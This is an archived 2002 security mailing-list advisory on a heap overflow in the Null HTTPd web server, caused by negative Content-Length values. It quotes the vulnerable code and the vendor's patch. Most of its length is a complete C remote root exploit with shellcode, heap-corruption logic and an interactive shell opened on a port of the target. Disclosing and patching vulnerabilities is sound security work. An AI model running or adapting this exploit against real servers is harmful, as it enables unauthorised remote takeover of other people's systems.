[EXPL] Remote Exploitable Heap Overflow in Null HTTPd

From: support@securiteam.com
Date: 09/23/02


From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 23 Sep 2002 19:18:57 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Remote Exploitable Heap Overflow in Null HTTPd
------------------------------------------------------------------------

SUMMARY

Null HTTPd is a very small, simple, and multithreaded web server for Linux
and Windows, which contains a remote exploitable heap overflow. The
exploitable heap overflow occurs whenever negative Content-Length values
are transmitted.

DETAILS

Vulnerable systems:
 * Null HTTPd 0.5.0 and prior

Vulnerable code:
The following displays the piece of code that is vulnerable:
  typedef struct {
          // incoming data
          ...
    // outgoing data
          ...
    /* this int is signed, and can thus contain negative values */
    int out_ContentLength;
    ...
  } CONNDATA;

  typedef struct {
          ...
    char *PostData;
    ...
  } CONNECTION;

  int read_header(int sid)
  {
          char line[2048];
    ...
    sgets(line, sizeof(line)-1, conn[sid].socket);
    ...
     if (strncasecmp(line, "Content-Length: ", 16)==0)
                        conn[sid].dat->in_ContentLength=atoi((char
*)&line+16);
    ...
    if (strcmp(conn[sid].dat->in_RequestMethod, "POST")==0) {
      if (conn[sid].dat->in_ContentLength<MAX_POSTSIZE) {
        ReadPOSTData(sid);
      }
      ...
    }
    ...
  }

  void ReadPOSTData(int sid) {
          char *pPostData;
    ...
    /* here is where the bad boundchecking happens */
    conn[sid].PostData=calloc(conn[sid].dat->in_ContentLength+1024,
sizeof(char));
    ...
    pPostData=conn[sid].PostData;
    ...
    /* This is where the overflow happens */
    recv(conn[sid].socket, pPostData, 1024, 0);
    ...
  }

As you can see, we can change the size of the buffer that will contain
POST'ed data, both with a positive and a negative value, which means that
we can change the size of that buffer to <negative value> + 1024, and 1024
bytes get read anyway (which will cause an overflow).

Exploit:
The following exploit was tested in a lab and might not work without any
tweaking. it was tested on a several RedHat 7.x systems. (x86)

<--> BEGIN OF FILE <-->
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <getopt.h>

struct {
        char *type;
        unsigned int retloc;
        unsigned int ret;

} targets[] = { /* Thanks tozz ;) */
        { "Null httpd 0.5.0 (Redhat 7.3)", 0x0804f334, 0x0804fbd1 },
        { "Crash (All platforms)", 0xb0efb0ef, 0xb0efb0ef },
};

char shellcode[] = /* shellcode by R00T-dude (ilja@netric.org) */
        "\xeb\x0a--netric--"
        "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51"
        "\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31"
        "\xc9\x51\x51\x51\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24"
        "\xb2\x10\x52\x51\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80"
        "\xb3\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03\xcd\x80"
        "\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0\x66\xcd\x80\x89\xc3"
        "\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41"
        "\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c\x24"
        "\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int sock;

void shell();
void usage();

void usage(char *prog)
{
        fprintf(stderr,"Usage: %s <-h host> <-t type> [-p port]\n", prog);
        exit(1);
}

void shell()
{
        fd_set fd_read;
       char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n";
       int n;

        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        FD_SET(0, &fd_read);

        send(sock, cmd, strlen(cmd), 0);
        while(1) {
                FD_SET(sock,&fd_read);
                FD_SET(0,&fd_read);
                if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
                if( FD_ISSET(sock, &fd_read) ) {
                        if((n=recv(sock,buff,sizeof(buff),0))<0){
                                fprintf(stderr, "EOF\n");
                                exit(2);
                        }
                        if(write(1,buff,n)<0)break;
                }

                if ( FD_ISSET(0, &fd_read) ) {
                        if((n=read(0,buff,sizeof(buff)))<0){
                                fprintf(stderr,"EOF\n");
                                exit(2);
                        }
                        if(send(sock,buff,n,0)<0) break;
                }
                usleep(10);
                }
        fprintf(stderr,"Connection lost.\n\n");
        exit(0);
}

int
openhost(char *host,int port)
{
        struct sockaddr_in addr;
        struct hostent *he;

        he=gethostbyname(host);

        if (he==NULL) return -1;
        sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
        if (sock==-1) return -1;

        memcpy(&addr.sin_addr, he->h_addr, he->h_length);

        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);

        if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
sock=-1;
        return sock;
}

int
exploit(char *host, int port, int type)
{
        char sendbuf[500];
        char buffer[377];
        int i=0;
        int sock2;

        sock=openhost(host, port);

        if (sock==-1) {
                fprintf(stderr,"Unable to connect.\n\n");
                exit(1);
        }

       fprintf(stdout, "Attacking (%s) ...\n", host);
       memset(buffer, 0xbf, sizeof(buffer) - 1);

        for(i=0;i<376;i=i+4)
        {
                buffer[i] = 0xbf; /* must be a valid pointer */
                buffer[i+1] = 0xff;
                buffer[i+2] = 0xb0;
                buffer[i+3] = 0xef;
        }

        memcpy(buffer, shellcode, strlen(shellcode));

        buffer[359] = 0xff; /* prev_size */
        buffer[360] = 0xff;
        buffer[361] = 0xff;
        buffer[362] = 0xff;

        buffer[363] = 0xfc; /* size field */
        buffer[364] = 0xff;
        buffer[365] = 0xff;
        buffer[366] = 0xff;

        buffer[368] = (targets[type - 1].retloc & 0x000000ff); /* FD */
        buffer[369] = (targets[type - 1].retloc & 0x0000ff00) >> 8;
        buffer[370] = (targets[type - 1].retloc & 0x00ff0000) >> 16;
        buffer[371] = (targets[type - 1].retloc & 0xff000000) >> 24;

        buffer[372] = (targets[type - 1].ret & 0x000000ff); /* BK */
        buffer[373] = (targets[type - 1].ret & 0x0000ff00) >> 8;
        buffer[374] = (targets[type - 1].ret & 0x00ff0000) >> 16;
        buffer[375] = (targets[type - 1].ret & 0xff000000) >> 24;

        buffer[376] = 0x0;

        snprintf(sendbuf, sizeof(sendbuf) -1, "POST / HTTP/1.0\n"
                                              "Content-Length: -800\n"
                                              "\n\n%s\n",buffer);

        write(sock, sendbuf, strlen(sendbuf));

        sleep(4);
        close(sock);

        sock=openhost(host, 30464);
        if (sock==-1) {
                fprintf(stderr,"Failed.\n\n");
                exit(1);
        }

        fprintf(stdout, "Exploit successful!\n");
        fprintf(stdout,
"------------------------------------------------------------------\n");
        shell(sock);
        close(sock);
        return 0;
}

int
main (int argc,char *argv[])
{
        char host[256];
        int i,opt,type=0,port=80;

        fprintf(stdout,"Null httpd 0.5.0 remote root exploit by eSDee of
Netric\n");
        
fprintf(stdout,"--------------------------------------------------(www.netric.org)\n");

        memset(host, 0x0, sizeof(host));

        while((opt=getopt(argc,argv,"h:p:t:")) !=EOF)
        {
                switch(opt)
                {
                        case 'h':
                                strncpy(host, optarg, sizeof(host) - 1);
                                break;
                        case 'p':
                                port=atoi(optarg);
                                if ((port <= 0) || (port > 65535)) {
                                        fprintf(stderr,"Invalid
port.\n\n");
                                        return -1;
                                }
                                break;
                        case 't':
                                type=atoi(optarg);
                                if (type == 0 || type >
sizeof(targets)/12) {
                                        for(i = 0; i < sizeof(targets)/12;
i++)
                                                fprintf(stderr, "%d. %s\t
(0x%08x - 0x%08x)\n",
                                                                i + 1,
                                                                
targets[i].type,
                                                                
targets[i].ret,targets[i].retloc);
                                        fprintf(stderr, "\n");
                                        return -1;
                                }
                                break;
                        default:
                                usage(argv[0]);
                                break;
                }

        }

        if (strlen(host) == 0) usage(argv[0]);

        if (!type) {
                fprintf(stderr, "No target given, use -t0 for a
list.\n\n");
                return -1;
        }

        if (exploit(host, port, type) < 0) {
                fprintf(stderr, "Failed.\n\n");
                return -1;
        }

        return 0;
}
<--> END OF FILE <-->

Vendor response:
Netric Security got response from the vendor within week, and he told us
that patches were made and that he would update the page where it can be
downloaded after he had ran a few tests.

Patches:
You can download the new version of Null HTTPd from:
 <http://prdownloads.sourceforge.net/nullhttpd/nullhttpd-0.5.1.tar.gz>
http://prdownloads.sourceforge.net/nullhttpd/nullhttpd-0.5.1.tar.gz

The nullogic vendor also send us patch which is included:

diff -Nru nullhttpd-0.5.0/src/format.c nullhttpd-0.5.1-pre/src/format.c
--- nullhttpd-0.5.0/src/format.cSun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/format.cSun Sep 15 21:55:09 2002
@@ -153,3 +153,29 @@
}
return 0;
}
+
+int printht(const char *format, ...)
+{
+unsigned char buffer[1024];
+int offset=0;
+va_list ap;
+
+va_start(ap, format);
+vsnprintf(buffer, sizeof(buffer)-1, format, ap);
+va_end(ap);
+while (buffer[offset]) {
+if (buffer[offset]=='<') {
+prints("<");
+} else if (buffer[offset]=='>') {
+prints(">");
+} else if (buffer[offset]=='&') {
+prints("&");
+} else if (buffer[offset]=='"') {
+prints(""");
+} else {
+prints("%c", buffer[offset]);
+}
+offset++;
+}
+return 0;
+}
diff -Nru nullhttpd-0.5.0/src/http.c nullhttpd-0.5.1-pre/src/http.c
--- nullhttpd-0.5.0/src/http.cSun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/http.cSun Sep 15 21:55:09 2002
@@ -149,8 +149,15 @@
while ((line[strlen(line)-1]=='\n')||(line[strlen(line)-1]=='\r'))
line[strlen(line)-1]='\0';
if (strncasecmp(line, "Connection: ", 12)==0)
strncpy(conn[sid].dat->in_Connection, (char *)&line+12,
sizeof(conn[sid].dat->in_Connection)-1);
-if (strncasecmp(line, "Content-Length: ", 16)==0)
+if (strncasecmp(line, "Content-Length: ", 16)==0) {
conn[sid].dat->in_ContentLength=atoi((char *)&line+16);
+if (conn[sid].dat->in_ContentLength<0) {
+// Negative Content-Length? If so, the client is either broken or
malicious.
+// Thanks to <ilja@idefense.be> for spotting this one.
+logerror("ERROR: negative Content-Length of %d provided by client.",
conn[sid].dat->in_ContentLength);
+conn[sid].dat->in_ContentLength=0;
+}
+}
if (strncasecmp(line, "Cookie: ", 8)==0)
strncpy(conn[sid].dat->in_Cookie, (char *)&line+8,
sizeof(conn[sid].dat->in_Cookie)-1);
if (strncasecmp(line, "Host: ", 6)==0)
diff -Nru nullhttpd-0.5.0/src/main.c nullhttpd-0.5.1-pre/src/main.c
--- nullhttpd-0.5.0/src/main.cSun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/main.cSun Sep 15 21:55:09 2002
@@ -36,12 +36,17 @@
logaccess(2, "%s - HTTP Request: %s %s", conn[sid].dat->in_RemoteAddr,
conn[sid].dat->in_RequestMethod, conn[sid].dat->in_RequestURI);
snprintf(file, sizeof(file)-1, "%s%s", config.server_htdocs_dir,
conn[sid].dat->in_RequestURI);
snprintf(conn[sid].dat->out_ContentType,
sizeof(conn[sid].dat->out_ContentType)-1, "text/html");
-if (strncmp(conn[sid].dat->in_RequestURI, "/cgi-bin/", 9)==0) cgi_main();
-else if (sendfile(sid, file)==0) return;
-else if (dirlist(sid)==0) return;
-else {
+if (strncmp(conn[sid].dat->in_RequestURI, "/cgi-bin/", 9)==0) {
+cgi_main();
+} else if (sendfile(sid, file)==0) {
+return;
+} else if (dirlist(sid)==0) {
+return;
+} else {
send_header(sid, 0, 200, "OK", "1", "text/html", -1, -1);
-prints("<BR><CENTER>The file or function '%s' could not be
found.</CENTER>\n", conn[sid].dat->in_RequestURI);
+prints("<BR><CENTER>The file or function '");
+printht("%s", conn[sid].dat->in_RequestURI);
+prints("' could not be found.</CENTER>\n");
logerror("%s - Incorrect function call '%s'",
conn[sid].dat->in_RemoteAddr, conn[sid].dat->in_RequestURI);
}
return;
diff -Nru nullhttpd-0.5.0/src/main.h nullhttpd-0.5.1-pre/src/main.h
--- nullhttpd-0.5.0/src/main.hSun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/main.hSun Sep 15 21:55:09 2002
@@ -251,6 +251,7 @@
char *strcasestr(char *src, char *query);
char *strcatf(char *dest, const char *format, ...);
int printhex(const char *format, ...);
+int printht(const char *format, ...);
/* http.c functions */
void printerror(int sid, int status, char* title, char* text);
char *get_mime_type(char *name);
diff -Nru nullhttpd-0.5.0/src/server.c nullhttpd-0.5.1-pre/src/server.c
--- nullhttpd-0.5.0/src/server.cSun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/server.cSun Sep 15 21:55:09 2002
@@ -377,7 +377,14 @@
if (strcasecmp("ANY", config.server_hostname)==0) {
sin.sin_addr.s_addr=htonl(INADDR_ANY);
} else {
-hp=gethostbyname(config.server_hostname);
+if ((hp=gethostbyname(config.server_hostname))==NULL) {
+#ifdef WIN32
+MessageBox(0, "DNS Lookup failure.", APPTITLE, MB_ICONERROR);
+#else
+printf("DNS Lookup failure.\r\n");
+#endif
+exit(0);
+}
memmove((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
}
sin.sin_port=htons((unsigned short)config.server_port);

ADDITIONAL INFORMATION

The original advisory can be downloaded from:
 <http://www.netric.org/advisories/netric-adv009.txt>
http://www.netric.org/advisories/netric-adv009.txt

The information has been provided by <mailto:sacrine@netric.org> Bert
Vanmanshoven of Netric Security.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [EXPL] Remote BitchX/Epic Exploit Code (Serverside)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int type; ... OpenBSD targets: ...
    (Securiteam)
  • [PATCH 1/3] Extensible printk (and friends)
    ... extern int sprintf(char * buf, const char * fmt, ...) ... extern int snprintf(char * buf, size_t size, const char * fmt, ...) ... by an extra set of alphanumeric characters that are extended format ...
    (Linux-Kernel)
  • [EXPL] Foxmail FROM Field Buffer Overflow
    ... Get your security news from a reliable source. ... unsigned char winexec[] = ... int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char ...
    (Securiteam)
  • [UNIX] GazTek HTTP Daemon Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ghttpd is a fast and efficient HTTP ... char logfilename; ... int main; ...
    (Securiteam)
  • [EXPL] Solaris at Exploit Code
    ... Beyond Security would like to welcome Tiscali World Online ... Each at-job is kept in separate file in at spool directory. ... char targetfile; ... int no; ...
    (Securiteam)